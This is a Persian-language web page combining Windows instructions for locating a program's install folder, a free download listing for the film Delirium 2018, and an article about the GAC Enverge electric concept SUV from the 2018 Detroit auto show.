* محل نصب نرم افزار: پوشه محل نصب معمولاً در درایو ویندوز و داخل پوشه Program Files قرار دارد. همچنین با این روش می توانید محل نصب را پیدا کنید:
– در ویندوز XP: بعد از نصب، روی Shortcut نرم افزار در منوی Start کلیک راست کرده و روی گزینه Properties و سپس روی گزینه Find Target کلیک کنید.
– در ویندوز ۷: بعد از نصب، روی Shortcut نرم افزار در منوی Start کلیک راست کرده و روی گزینه Open file location کلیک کنید.
– در ویندوز ۸: بعد از نصب، روی Shortcut نرم افزار در صفحه Start Screen کلیک راست کرده و روی گزینه Open file location کلیک کنید، در پنجره ایی که باز می شود مجدداً روی Shortcut نرم افزار کلیک راست کنید و روی گزینه Open file location کلیک کنید.
– در ویندوز ۱۰: بعد از نصب، روی Shortcut نرم افزار در منوی Start کلیک راست کرده و روی گزینه Open file location کلیک کنید، در پنجره ایی که باز می شود مجدداً روی Shortcut نرم افزار کلیک راست کنید و روی گزینه Open file location کلیک کنید.

دانـــــلود عمومی

دانـــــلود کاربران مخابرات کرمانشاه


دانلود فیلم Delirium 2018 با لینک مستقیم 

دانلود رایگان فیلم Delirium 2018 با کیفیت عالی

| دانلود با لینک مستقیم از یوز دی ال |

دانلود فیلم Delirium 2018

دانلود فیلم Delirium 2018

مشخصات فیلم :

منتشر کننده : یوز دی ال

نام فیلم : Delirium 2018

ژانر : ترسناک، هیجان انگیز

سال انتشار : ۲۰۱۸

محصول کشور : آمریکا

امتیاز فیلم : ۴.۳/۱۰

اطلاعات بیشتر : IMDB

کارگردان : Dennis Iliadis

بازیگران : Topher Grace, Genesis Rodriguez, Patricia Clarkson

خـلـاصــــه داسـتـان : فیلم درباره مرد جوانی است که به تازگی از یک مرکز روانپزشکی مرخص شده است و پدر و مادر او نیز در همین بین مرده اند. او از والدین خود  عمارتی به ارث برده و برای زندگی به آن جا نقل مکان می کند. بعد از اتفاقات عجیب و غریب، او به این نتیجه می رسد که خانه توسط موجودات شیـطانی تسخیر شده است و می بایست راهی برای مقابله با آن پیدا کند ولی…شما می توانید این فیلم را از سایت یوز دی ال رایگان دانلود کنید.



دانلود رایگان فیلم Delirium 2018 با کیفیت ۷۲۰p

دانلود با لینک مستقیم

اسکرین شات

 

 

جستجوی زیرنویس (پس از کلید بر روی لینک زیرنویس رد کردن تبلیغ را انتخاب کنید)



——————————————


گروه خودروی گوانگژو چین یا همان GAC در نمایشگاه خودرو دیترویت از اولین شاسی بلند مفهومی خود با نام انورج رونمایی کرد. در ادامه با مشخصات و ویژگی‌های گک Enverge آشنا می‌شویم.

کمپانی چینی GAC، اولین کراس اوور مفهومی خود را تولید و در نمایشگاه خودرو دیترویت ۲۰۱۸ به نمایش گذاشت. گک انورج (GAC Enverge) از طراحی کوپه‌مانند و نیروی محرکه الکتریکی بهره می‌برد.

گک Enverge

گروه گوانگژو اتومبیل (GAC) در نمایشگاه خودرو دیترویت به عنوان یکی از مهم‌ترین رویدادهای خودرویی جهان، از کانسپت شاسی بلند الکتریکی خود با نام Enverge رونمایی کرد. انورج، پیش‌نمایشی از خودروی آینده این برند برای بازار کشورهای آمریکای شمالی است.

کانسپت گک Enverge برای مشتریان جوان طراحی شده و با ظرافت‌های جسورانه و ویژگی‌هایی چون درهای قیچی‌شکل و فاقد پنجره‌های جانبی به نمایش درآمده است. البته هنوز مشخص نیست که چقدر از این ویژگی‌ها در نسخه نهایی و تولیدی باقی می‌مانند.

گک Enverge

طراحی کوپه‌مانند و شیب‌دار خودرو با زاویه‌های متعدد همراه شده است و ویژگی‌های ظاهری آن تا حدودی به مدل مفهومی لکسوس LF-1 شباهت دارد که آن هم در نمایشگاه دیترویت معرفی شد. گک انورج به صورت ۲+۲ طراحی شده و دو درب، دسترسی به چهار صندلی درون کابین را فراهم می‌کند. در داخل خودرو از کپسول فضایی شناور الهام گرفته شده و شاهد یک صفحه نمایش افقی و تکنولوژی واقعیت مجازی هستیم.

گک Enverge

رنگ نقره‌ای به جای پنجره‌های جانبی، ظاهر غیرمتعارفی را به خودرو بخشیده و برای کمک به دید راننده به جای آینه‌های بالایی، دوربین‌های دید عقب تعبیه شده است. گک Enverge بر پایه پلتفرم الکتریکی جدید GAC ساخته شده و از یک باتری ۷۱ کیلووات ساعتی بهره می‌برد. این کراس اوور کوچک با استفاده از این باتری می‌تواند مسافتی بیشتر از ۵۹۵ کیلومتر را طی کند. تکنولوژی شارژ سریع نیز به کمک راننده می‌آید و این خودرو با تنها ۱۰ دقیقه شارژ شدن می‌تواند بیشتر از ۳۸۵ کیلومتر را بپیماید. این خودروی شاسی بلند چینی قرار است در سال ۲۰۱۹ وارد بازار آمریکا شود.

گالری عکس های کانسپت گک Enverge

صفحه 1 از 1,308
12345678910 بعدی 203040...«